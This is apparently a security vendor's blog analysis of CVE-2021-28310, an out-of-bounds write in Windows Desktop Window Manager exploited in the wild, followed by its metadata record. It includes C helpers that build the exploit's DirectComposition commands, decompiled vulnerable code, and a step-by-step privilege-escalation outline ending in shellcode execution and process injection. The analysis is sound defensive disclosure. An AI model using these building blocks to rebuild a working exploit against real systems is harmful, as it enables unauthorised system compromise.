Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild

2021-04-13T17:35:50

Description

![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/09094920/abstract-digital-blue-990x400.jpg) While analyzing the [CVE-2021-1732 exploit](<https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>) originally discovered by the DBAPPSecurity Threat Intelligence Center and used by the BITTER APT group, we discovered another zero-day exploit we believe is linked to the same actor. We reported this new exploit to Microsoft in February and after confirmation that it is indeed a zero-day, it received the designation CVE-2021-28310. Microsoft [released a patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>) to this vulnerability as a part of its April security updates. We believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access. Unfortunately, we weren't able to capture a full chain, so we don't know if the exploit is used with another browser zero-day, or coupled with known, patched vulnerabilities. The exploit was initially identified by our advanced exploit prevention technology and related detection records. In fact, over the past few years, we have built a multitude of exploit protection technologies into our products that have detected several zero-days, proving their effectiveness time and again. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone. In this blog we provide a technical analysis of the vulnerability and how the bad guys exploited it. More information about BITTER APT and IOCs are available to customers of the Kaspersky Intelligence Reporting service. Contact: [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>). ## Technical details CVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). Due to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API. [DirectComposition](<https://docs.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal>) is a Windows component that was introduced in Windows 8 to enable bitmap composition with transforms, effects and animations, with support for bitmaps of different sources (GDI, DirectX, etc.). We've already published a [blogpost](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>) about in-the-wild zero-days abusing DirectComposition API. DirectComposition API is implemented by the win32kbase.sys driver and the names of all related syscalls start with the string "NtDComposition". [![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/13101315/CVE_2021_28310_01.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/13101315/CVE_2021_28310_01.png>) _**DirectComposition syscalls in the win32kbase.sys driver**_ For exploitation only three syscalls are required: NtDCompositionCreateChannel, NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel. The NtDCompositionCreateChannel syscall initiates a channel that can be used together with the NtDCompositionProcessChannelBatchBuffer syscall to send multiple DirectComposition commands in one go for processing by the kernel in a batch mode. For this to work, commands need to be written sequentially in a special buffer mapped by NtDCompositionCreateChannel syscall. Each command has its own format with a variable length and list of parameters. enum DCOMPOSITION_COMMAND_ID { ProcessCommandBufferIterator, CreateResource, OpenSharedResource, ReleaseResource, GetAnimationTime, CapturePointer, OpenSharedResourceHandle, SetResourceCallbackId, SetResourceIntegerProperty, SetResourceFloatProperty, SetResourceHandleProperty, SetResourceHandleArrayProperty, SetResourceBufferProperty, SetResourceReferenceProperty, SetResourceReferenceArrayProperty, SetResourceAnimationProperty, SetResourceDeletedNotificationTag, AddVisualChild, RedirectMouseToHwnd, SetVisualInputSink, RemoveVisualChild }; **_List of command IDs supported by the function DirectComposition::CApplicationChannel::ProcessCommandBufferIterator_** While these commands are processed by the kernel, they are also serialized into another format and passed by the Local Procedure Call (LPC) protocol to the Desktop Window Manager (dwm.exe) process for rendering to the screen. This procedure could be initiated by the third syscall – NtDCompositionCommitChannel. To trigger the vulnerability the discovered exploit uses three types of commands: CreateResource, ReleaseResource and SetResourceBufferProperty. void CreateResourceCmd(int resourceId) { DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength); *buf = CreateResource; buf[1] = resourceId; buf[2] = PropertySet; // MIL_RESOURCE_TYPE buf[3] = FALSE; BatchLength += 16; } void ReleaseResourceCmd(int resourceId) { DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength); *buf = ReleaseResource; buf[1] = resourceId; BatchLength += 8; } void SetPropertyCmd(int resourceId, bool update, int propertyId, int storageOffset, int hidword, int lodword) { DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength); *buf = SetResourceBufferProperty; buf[1] = resourceId; buf[2] = update; buf[3] = 20; buf[4] = propertyId; buf[5] = storageOffset; buf[6] = _D2DVector2; // DCOMPOSITION_EXPRESSION_TYPE buf[7] = hidword; buf[8] = lodword; BatchLength += 36; } _**Format of commands used in exploitation**_ Let's take a look at the function CPropertySet::ProcessSetPropertyValue in dwmcore.dll. This function is responsible for processing the SetResourceBufferProperty command. We are most interested in the code responsible for handling DCOMPOSITION_EXPRESSION_TYPE = D2DVector2. int CPropertySet::ProcessSetPropertyValue(CPropertySet *this, ...) { ... if (expression_type == _D2DVector2) { if (!update) { CPropertySet::AddProperty<D2DVector2>(this, propertyId, storageOffset, _D2DVector2, value); } else { if ( storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF ) { goto fail; } CPropertySet::UpdateProperty<D2DVector2>(this, propertyId, _D2DVector2, value); } } ... } int CPropertySet::AddProperty<D2DVector2>(CResource *this, unsigned int propertyId, int storageOffset, int type, _QWORD *value) { int propertyIdAdded; int result = PropertySetStorage<DynArrayNoZero,PropertySetUserModeAllocator>::AddProperty<D2DVector2>( this->propertiesData, type, value, &propertyIdAdded); if ( result < 0 ) { return result; } if ( propertyId != propertyIdAdded || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF ) { return 0x88980403; } result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId); if ( result < 0 ) { return result; } return 0; } int CPropertySet::UpdateProperty<D2DVector2>(CResource *this, unsigned int propertyId, int type, _QWORD *value) { if ( this->properties[propertyId]->type == type ) { *(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value; int result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId); if ( result < 0 ) { return result; } return 0; } else { return 0x80070057; } } **_Processing of the SetResourceBufferProperty (D2DVector2) command in dwmcore.dll_** For the SetResourceBufferProperty command with the expression type set to D2DVector2, the function CPropertySet::ProcessSetPropertyValue(…) would either call CPropertySet::AddProperty<D2DVector2>(…) or CPropertySet::UpdateProperty<D2DVector2>(…) depending on whether the update flag is set in the command. The first thing that catches the eye is the way the new property is added in the CPropertySet::AddProperty<D2DVector2>(…) function. You can see that it adds a new property to the resource, but it only checks if the propertyId and storageOffset of a new property are equal to the provided values after the new property is added, and returns an error if that's not the case. Checking something after a job is done is bad coding practice and can result in vulnerabilities. However, a real issue can be found in the CPropertySet::UpdateProperty<D2DVector2>(…) function. No check takes place that will ensure if the provided propertyId is less than the count of properties added to the resource. As a result, an attacker can use this function to perform an OOB write past the propertiesData buffer if it manages to bypass two additional checks for data inside the properties array. (1) storageOffset == this->properties[propertyId]->offset & 0x1FFFFFFF (2) this->properties[propertyId]->type == type _**Conditions which need to be met for exploitation in dwmcore.dll**_ These checks could be bypassed if an attacker is able to allocate and release objects in the dwm.exe process to groom heap into the desired state and spray memory at specific locations with fake properties. The discovered exploit manages to do this using the CreateResource, ReleaseResource and SetResourceBufferProperty commands. At the time of writing, we still hadn't analyzed the updated binaries that are fixing this vulnerability, but to exclude the possibility of other variants for this vulnerability Microsoft would need to check the count of properties for other expression types as well. Even with the above issues in dwmcore.dll, if the desired memory state is achieved to bypass the previously mentioned checks and a batch of commands are issued to trigger the vulnerability, it still won't be triggered because there is one more thing preventing it from happening. As mentioned above, commands are first processed by the kernel and only after that are they sent to Desktop Window Manager (dwm.exe). This means that if you try to send a command with an invalid propertyId, NtDCompositionProcessChannelBatchBuffer syscall will return an error and the command will not be passed to the dwm.exe process. SetResourceBufferProperty commands with expression type set to D2DVector2 are processed in the win32kbase.sys driver with the functions DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(…) and DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(…), which are very similar to those present in dwmcore.dll (it's quite likely they were copy-pasted). However, the kernel version of the UpdateProperty<D2DVector2> function has one notable difference – it actually checks the count of properties added to the resource. int DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(DirectComposition::CPropertySetMarshaler *this, unsigned int *commandParams, _QWORD *value) { unsigned int propertyId = commandParams[0]; unsigned int storageOffset = commandParams[1]; unsigned int type = commandParams[2]; if ( propertyId >= this->propertiesCount || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF) || type != this->properties[propertyId]->type ) { return 0xC000000D; } else { *(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value; ... } return 0; } _**DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(…) in win32kbase.sys**_ The check for propertiesCount in the kernel mode version of the UpdateProperty<D2DVector2> function prevents further processing of a malicious command by its user mode twin and mitigates the vulnerability, but this is where DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(…) comes in to play. The kernel version of the AddProperty<D2DVector2> function works exactly like its user mode variant and it also applies the same behavior of checking property after it has already been added and returns an error if propertyId and storageOffset of the created property do not match the provided values. Because of this, it's possible to use the AddProperty<D2DVector2> function to add a new property and force the function to return an error and cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode. The propertiesCount check in the kernel could be bypassed this way and malicious commands would be passed to Desktop Window Manager (dwm.exe). Inconsistency between the number of properties assigned to the same resource in kernel mode/user mode could be a source of other vulnerabilities, so we recommend Microsoft to change the behavior of the AddProperty function and check properties before they are added. The whole exploitation process for the discovered exploit is as follows: 1. Create a large number of resources with properties of specific size to get heap into predictable state. 2. Create additional resources with properties of specific size and content to spray memory at specific locations with fake properties. 3. Release resources created at stage 2. 4. Create additional resources with properties. These resources will be used to perform OOB writes. 5. Make holes among resources created at stage 1. 6. Create additional properties for resources created at stage 4. Their buffers are expected to be allocated at specific locations. 7. Create "special" properties to cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode for resources created at stage 4. 8. Use OOB write vulnerability to write shellcode, create an object and get code execution. 9. Inject additional shellcode into another system process. Kaspersky products detect this exploit with the verdicts: * HEUR:Exploit.Win32.Generic * HEUR:Trojan.Win32.Generic * PDM:Exploit.Win32.Generic

{"id": "SECURELIST:A3D3514100806269750A23D748D34C59", "type": "securelist", "bulletinFamily": "blog", "title": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/04/09094920/abstract-digital-blue-990x400.jpg)\n\nWhile analyzing the [CVE-2021-1732 exploit](<https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>) originally discovered by the DBAPPSecurity Threat Intelligence Center and used by the BITTER APT group, we discovered another zero-day exploit we believe is linked to the same actor. We reported this new exploit to Microsoft in February and after confirmation that it is indeed a zero-day, it received the designation CVE-2021-28310. Microsoft [released a patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>) to this vulnerability as a part of its April security updates.\n\nWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access. Unfortunately, we weren't able to capture a full chain, so we don't know if the exploit is used with another browser zero-day, or coupled with known, patched vulnerabilities.\n\n \nThe exploit was initially identified by our advanced exploit prevention technology and related detection records. In fact, over the past few years, we have built a multitude of exploit protection technologies into our products that have detected several zero-days, proving their effectiveness time and again. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone. In this blog we provide a technical analysis of the vulnerability and how the bad guys exploited it. More information about BITTER APT and IOCs are available to customers of the Kaspersky Intelligence Reporting service. Contact: [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n## Technical details\n\nCVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). Due to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API. [DirectComposition](<https://docs.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal>) is a Windows component that was introduced in Windows 8 to enable bitmap composition with transforms, effects and animations, with support for bitmaps of different sources (GDI, DirectX, etc.). We've already published a [blogpost](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>) about in-the-wild zero-days abusing DirectComposition API. DirectComposition API is implemented by the win32kbase.sys driver and the names of all related syscalls start with the string "NtDComposition".\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/13101315/CVE_2021_28310_01.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/13101315/CVE_2021_28310_01.png>)\n\n_**DirectComposition syscalls in the win32kbase.sys driver**_\n\nFor exploitation only three syscalls are required: NtDCompositionCreateChannel, NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel. The NtDCompositionCreateChannel syscall initiates a channel that can be used together with the NtDCompositionProcessChannelBatchBuffer syscall to send multiple DirectComposition commands in one go for processing by the kernel in a batch mode. For this to work, commands need to be written sequentially in a special buffer mapped by NtDCompositionCreateChannel syscall. Each command has its own format with a variable length and list of parameters.\n \n \n enum DCOMPOSITION_COMMAND_ID\n {\n \tProcessCommandBufferIterator,\n \tCreateResource,\n \tOpenSharedResource,\n \tReleaseResource,\n \tGetAnimationTime,\n \tCapturePointer,\n \tOpenSharedResourceHandle,\n \tSetResourceCallbackId,\n \tSetResourceIntegerProperty,\n \tSetResourceFloatProperty,\n \tSetResourceHandleProperty,\n \tSetResourceHandleArrayProperty,\n \tSetResourceBufferProperty,\n \tSetResourceReferenceProperty,\n \tSetResourceReferenceArrayProperty,\n \tSetResourceAnimationProperty,\n \tSetResourceDeletedNotificationTag,\n \tAddVisualChild,\n \tRedirectMouseToHwnd,\n \tSetVisualInputSink,\n \tRemoveVisualChild\n };\n\n**_List of command IDs supported by the function DirectComposition::CApplicationChannel::ProcessCommandBufferIterator_**\n\nWhile these commands are processed by the kernel, they are also serialized into another format and passed by the Local Procedure Call (LPC) protocol to the Desktop Window Manager (dwm.exe) process for rendering to the screen. This procedure could be initiated by the third syscall \u2013 NtDCompositionCommitChannel.\n\nTo trigger the vulnerability the discovered exploit uses three types of commands: CreateResource, ReleaseResource and SetResourceBufferProperty.\n \n \n void CreateResourceCmd(int resourceId)\n {\n \tDWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);\n \t*buf = CreateResource;\n \tbuf[1] = resourceId;\n \tbuf[2] = PropertySet; // MIL_RESOURCE_TYPE\n \tbuf[3] = FALSE;\n \tBatchLength += 16;\n }\n \n void ReleaseResourceCmd(int resourceId)\n {\n \tDWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);\n \t*buf = ReleaseResource;\n \tbuf[1] = resourceId;\n \tBatchLength += 8;\n }\n \n void SetPropertyCmd(int resourceId, bool update, int propertyId, int storageOffset, int hidword, int lodword)\n {\n \tDWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);\n \t*buf = SetResourceBufferProperty;\n \tbuf[1] = resourceId;\n \tbuf[2] = update;\n \tbuf[3] = 20;\n \tbuf[4] = propertyId;\n \tbuf[5] = storageOffset;\n \tbuf[6] = _D2DVector2; // DCOMPOSITION_EXPRESSION_TYPE\n \tbuf[7] = hidword;\n \tbuf[8] = lodword;\n \tBatchLength += 36;\n }\n\n_**Format of commands used in exploitation**_\n\nLet's take a look at the function CPropertySet::ProcessSetPropertyValue in dwmcore.dll. This function is responsible for processing the SetResourceBufferProperty command. We are most interested in the code responsible for handling DCOMPOSITION_EXPRESSION_TYPE = D2DVector2.\n \n \n int CPropertySet::ProcessSetPropertyValue(CPropertySet *this, ...)\n {\n ...\n \n if (expression_type == _D2DVector2)\n {\n if (!update)\n {\n CPropertySet::AddProperty<D2DVector2>(this, propertyId, storageOffset, _D2DVector2, value);\n }\n else\n {\n if ( storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF )\n {\n goto fail;\n }\n \n CPropertySet::UpdateProperty<D2DVector2>(this, propertyId, _D2DVector2, value);\n }\n }\n \n ...\n }\n \n int CPropertySet::AddProperty<D2DVector2>(CResource *this, unsigned int propertyId, int storageOffset, int type, _QWORD *value)\n {\n int propertyIdAdded;\n \n int result = PropertySetStorage<DynArrayNoZero,PropertySetUserModeAllocator>::AddProperty<D2DVector2>(\n this->propertiesData,\n type,\n value,\n &propertyIdAdded);\n if ( result < 0 )\n {\n return result;\n }\n \n if ( propertyId != propertyIdAdded || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF )\n {\n return 0x88980403;\n }\n \n result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId);\n if ( result < 0 )\n {\n return result;\n }\n \n return 0;\n }\n \n int CPropertySet::UpdateProperty<D2DVector2>(CResource *this, unsigned int propertyId, int type, _QWORD *value)\n {\n if ( this->properties[propertyId]->type == type )\n {\n *(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value;\n \n int result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId);\n if ( result < 0 )\n {\n return result;\n }\n \n return 0;\n }\n else\n {\n return 0x80070057;\n }\n }\n\n**_Processing of the SetResourceBufferProperty (D2DVector2) command in dwmcore.dll_**\n\nFor the SetResourceBufferProperty command with the expression type set to D2DVector2, the function CPropertySet::ProcessSetPropertyValue(\u2026) would either call CPropertySet::AddProperty<D2DVector2>(\u2026) or CPropertySet::UpdateProperty<D2DVector2>(\u2026) depending on whether the update flag is set in the command. The first thing that catches the eye is the way the new property is added in the CPropertySet::AddProperty<D2DVector2>(\u2026) function. You can see that it adds a new property to the resource, but it only checks if the propertyId and storageOffset of a new property are equal to the provided values after the new property is added, and returns an error if that's not the case. Checking something after a job is done is bad coding practice and can result in vulnerabilities. However, a real issue can be found in the CPropertySet::UpdateProperty<D2DVector2>(\u2026) function. No check takes place that will ensure if the provided propertyId is less than the count of properties added to the resource. As a result, an attacker can use this function to perform an OOB write past the propertiesData buffer if it manages to bypass two additional checks for data inside the properties array.\n \n \n (1)\tstorageOffset == this->properties[propertyId]->offset & 0x1FFFFFFF\n (2)\tthis->properties[propertyId]->type == type\n\n_**Conditions which need to be met for exploitation in dwmcore.dll**_\n\nThese checks could be bypassed if an attacker is able to allocate and release objects in the dwm.exe process to groom heap into the desired state and spray memory at specific locations with fake properties. The discovered exploit manages to do this using the CreateResource, ReleaseResource and SetResourceBufferProperty commands.\n\nAt the time of writing, we still hadn't analyzed the updated binaries that are fixing this vulnerability, but to exclude the possibility of other variants for this vulnerability Microsoft would need to check the count of properties for other expression types as well.\n\nEven with the above issues in dwmcore.dll, if the desired memory state is achieved to bypass the previously mentioned checks and a batch of commands are issued to trigger the vulnerability, it still won't be triggered because there is one more thing preventing it from happening.\n\nAs mentioned above, commands are first processed by the kernel and only after that are they sent to Desktop Window Manager (dwm.exe). This means that if you try to send a command with an invalid propertyId, NtDCompositionProcessChannelBatchBuffer syscall will return an error and the command will not be passed to the dwm.exe process. SetResourceBufferProperty commands with expression type set to D2DVector2 are processed in the win32kbase.sys driver with the functions DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(\u2026) and DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(\u2026), which are very similar to those present in dwmcore.dll (it's quite likely they were copy-pasted). However, the kernel version of the UpdateProperty<D2DVector2> function has one notable difference \u2013 it actually checks the count of properties added to the resource.\n \n \n int DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(DirectComposition::CPropertySetMarshaler *this, unsigned int *commandParams, _QWORD *value)\n {\n unsigned int propertyId = commandParams[0];\n unsigned int storageOffset = commandParams[1];\n unsigned int type = commandParams[2];\n \n if ( propertyId >= this->propertiesCount\n || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF)\n || type != this->properties[propertyId]->type )\n {\n return 0xC000000D;\n }\n else\n {\n *(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value;\n ...\n }\n return 0;\n }\n\n_**DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(\u2026) in win32kbase.sys**_\n\nThe check for propertiesCount in the kernel mode version of the UpdateProperty<D2DVector2> function prevents further processing of a malicious command by its user mode twin and mitigates the vulnerability, but this is where DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(\u2026) comes in to play. The kernel version of the AddProperty<D2DVector2> function works exactly like its user mode variant and it also applies the same behavior of checking property after it has already been added and returns an error if propertyId and storageOffset of the created property do not match the provided values. Because of this, it's possible to use the AddProperty<D2DVector2> function to add a new property and force the function to return an error and cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode. The propertiesCount check in the kernel could be bypassed this way and malicious commands would be passed to Desktop Window Manager (dwm.exe).\n\nInconsistency between the number of properties assigned to the same resource in kernel mode/user mode could be a source of other vulnerabilities, so we recommend Microsoft to change the behavior of the AddProperty function and check properties before they are added.\n\nThe whole exploitation process for the discovered exploit is as follows:\n\n 1. Create a large number of resources with properties of specific size to get heap into predictable state.\n 2. Create additional resources with properties of specific size and content to spray memory at specific locations with fake properties.\n 3. Release resources created at stage 2.\n 4. Create additional resources with properties. These resources will be used to perform OOB writes.\n 5. Make holes among resources created at stage 1.\n 6. Create additional properties for resources created at stage 4. Their buffers are expected to be allocated at specific locations.\n 7. Create "special" properties to cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode for resources created at stage 4.\n 8. Use OOB write vulnerability to write shellcode, create an object and get code execution.\n 9. Inject additional shellcode into another system process.\n\nKaspersky products detect this exploit with the verdicts:\n\n * HEUR:Exploit.Win32.Generic\n * HEUR:Trojan.Win32.Generic\n * PDM:Exploit.Win32.Generic", "published": "2021-04-13T17:35:50", "modified": "2021-04-13T17:35:50", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "reporter": "Boris Larin, Costin Raiu, Brian Bartholomew", "references": [], "cvelist": ["CVE-2019-0797", "CVE-2021-1732", "CVE-2021-28310"], "immutableFields": [], "lastseen": "2021-04-29T16:18:40", "viewCount": 15639, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:007C4393-6621-4656-8BFD-D0CFE64DCD65", "AKB:2F0F7D23-7B28-4849-B0FC-3B12AB190D21", "AKB:51821330-42A6-44EA-85F5-2E6F69FDAFC7", "AKB:9E1E5A73-8C4D-4A6A-96A5-14A9041AA2CB", "AKB:DFA2540D-E431-4CDE-B67A-7EA3F2B87A74"]}, {"type": "avleonov", "idList": ["AVLEONOV:13BED8E5AD26449401A37E1273217B9A", "AVLEONOV:9D3D76F4CC74C7ABB8000BC6AFB2A2CE"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-0372", "CPAI-2021-0032", "CPAI-2021-0223"]}, {"type": "cisa", "idList": ["CISA:911DE59572B6EF78B42DD868D622F637"]}, {"type": "cve", "idList": ["CVE-2019-0797", "CVE-2019-0808", "CVE-2021-1698", "CVE-2021-1732", "CVE-2021-27072", "CVE-2021-28310"]}, {"type": "githubexploit", "idList": ["02C6FE13-5036-5BE5-8AC8-278A918BA581", "0885D472-B052-5B6B-A8C9-19FDD33EFF42", "1C45657B-E388-5668-9093-F3934858B728", "1D0AAF42-5E68-5985-A800-90937D55628D", "25DCDCD3-A32C-5B44-B706-FFF9535ECFC2", "453B4EEE-340B-58DA-84D9-277C9D4EFC12", "5E516DC2-BF71-57D0-9A87-3874146D0F83", "91A5BC48-2410-555B-B7FB-8138577D6B78", "DEAA3BF4-9E7D-55E9-9534-6203A312C46F", "FBC7C8E7-D9E9-50AF-A463-1504B4FC5BE9"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:2E85097DC4FBE492B1CB6FAE84AFE126", "GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "kaspersky", "idList": ["KLA11438", "KLA12071", "KLA12139"]}, {"type": "krebs", "idList": ["KREBS:1BEFD58F5124A2E4CA40BD9C1B49B9B7", "KREBS:8CCFB0DC3A6FAC8000722BE0DCBA640E", "KREBS:F8A52CE066D12F4E4A9E0128831BF48D"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:3C358DDA439A247A9677866AFE8FA961", "MALWAREBYTES:6A30A2B661E06D2D7D26479F27BB0EF3"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-WINDOWS-LOCAL-CVE_2022_21882_WIN32K-"]}, {"type": "mscve", "idList": ["MS:CVE-2019-0797", "MS:CVE-2021-1698", "MS:CVE-2021-1732", "MS:CVE-2021-27072", "MS:CVE-2021-28310"]}, {"type": "myhack58", "idList": ["MYHACK58:62201993173"]}, {"type": "nessus", "idList": ["SMB_NT_MS19_MAR_4489868.NASL", "SMB_NT_MS19_MAR_4489871.NASL", "SMB_NT_MS19_MAR_4489872.NASL", "SMB_NT_MS19_MAR_4489881.NASL", "SMB_NT_MS19_MAR_4489882.NASL", "SMB_NT_MS19_MAR_4489886.NASL", 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"THN:04C2B4D392A1C67EF52FAF0D2CFA9E55", "THN:0C87C22B19E7073574F7BA69985A07BF", "THN:75586AE52D0AAF674F942498C96A2F6A", "THN:F163C7AB35BEF8E28924E14B02752181"]}, {"type": "threatpost", "idList": ["THREATPOST:0122DA221AF8A2C80D492879AD032E59", "THREATPOST:0C6C1B17AFD30FEDE0604F98C6C93413", "THREATPOST:1502920D4F50B0D128077B515815C023", "THREATPOST:1CC1606323D9ADB7A8209EBEC63F6728", "THREATPOST:2449B7C3317E847CB7244592BA73C2B8", "THREATPOST:3127C5639EF00B80A0DE1B63E8892A5E", "THREATPOST:63188D8C89FE469962D4F460E46755BC", "THREATPOST:6494F574043B1EE5082C988D28B55E4C", "THREATPOST:872ADCA7D6780794C132A451E86B4086", "THREATPOST:9235CC6F1DCCA01B571B8693E5F7B880", "THREATPOST:9673D04DAD513AC05EA6440633D75339", "THREATPOST:E1C629434DE943EAA7BD57B1F6EEA7E2", "THREATPOST:FFC3DB875D4337781CF78C0D4B39F0E0"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:B5EA1F5E613C3A15D832147CF064EC78", "TRENDMICROBLOG:C9F6DD38959C2193331C83CA846C0A71"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:C5940EBF622709A929825B8B12592EF5"]}, {"type": "zdt", "idList": ["1337DAY-ID-37433"]}]}, "score": {"value": -0.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:007C4393-6621-4656-8BFD-D0CFE64DCD65", "AKB:2F0F7D23-7B28-4849-B0FC-3B12AB190D21", "AKB:DFA2540D-E431-4CDE-B67A-7EA3F2B87A74"]}, {"type": "avleonov", "idList": ["AVLEONOV:13BED8E5AD26449401A37E1273217B9A"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-0372", "CPAI-2021-0032", "CPAI-2021-0223"]}, {"type": "cisa", "idList": ["CISA:911DE59572B6EF78B42DD868D622F637"]}, {"type": "cve", "idList": ["CVE-2019-0797", "CVE-2021-1732", "CVE-2021-28310"]}, {"type": "githubexploit", "idList": ["02C6FE13-5036-5BE5-8AC8-278A918BA581", "0885D472-B052-5B6B-A8C9-19FDD33EFF42", "1D0AAF42-5E68-5985-A800-90937D55628D", "5E516DC2-BF71-57D0-9A87-3874146D0F83", "91A5BC48-2410-555B-B7FB-8138577D6B78", "DEAA3BF4-9E7D-55E9-9534-6203A312C46F"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:2E85097DC4FBE492B1CB6FAE84AFE126"]}, {"type": "kaspersky", "idList": ["KLA11438"]}, {"type": "krebs", "idList": ["KREBS:1BEFD58F5124A2E4CA40BD9C1B49B9B7", "KREBS:8CCFB0DC3A6FAC8000722BE0DCBA640E", "KREBS:F8A52CE066D12F4E4A9E0128831BF48D"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:3C358DDA439A247A9677866AFE8FA961"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/WINDOWS/LOCAL/CVE_2022_21882_WIN32K/"]}, {"type": "mscve", "idList": ["MS:CVE-2019-0797", "MS:CVE-2021-1732", "MS:CVE-2021-28310"]}, {"type": "myhack58", "idList": ["MYHACK58:62201993173"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_APR_5001339.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814692", "OPENVAS:1361412562310814693", "OPENVAS:1361412562310814694", "OPENVAS:1361412562310814695", "OPENVAS:1361412562310814696", "OPENVAS:1361412562310814697", "OPENVAS:1361412562310814937"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:166169"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:352650F44A686E31669777DBEC831101", "QUALYSBLOG:AD927BF1D1CDE26A3D54D9452C330BB3"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:44EA89871AFF6881B909B9FD0E07034F", "RAPID7BLOG:452CCDC1AEFFF7056148871E86A6FE26", "RAPID7BLOG:D435EE51E7D9443C43ADC937A046683C"]}, {"type": "securelist", "idList": ["SECURELIST:5147443B0EBD7DFCCB942AD0E2F92CCF", "SECURELIST:63F08CF43123326EE123EADFF8681D0D"]}, {"type": "seebug", "idList": ["SSV:99168"]}, {"type": "talosblog", "idList": 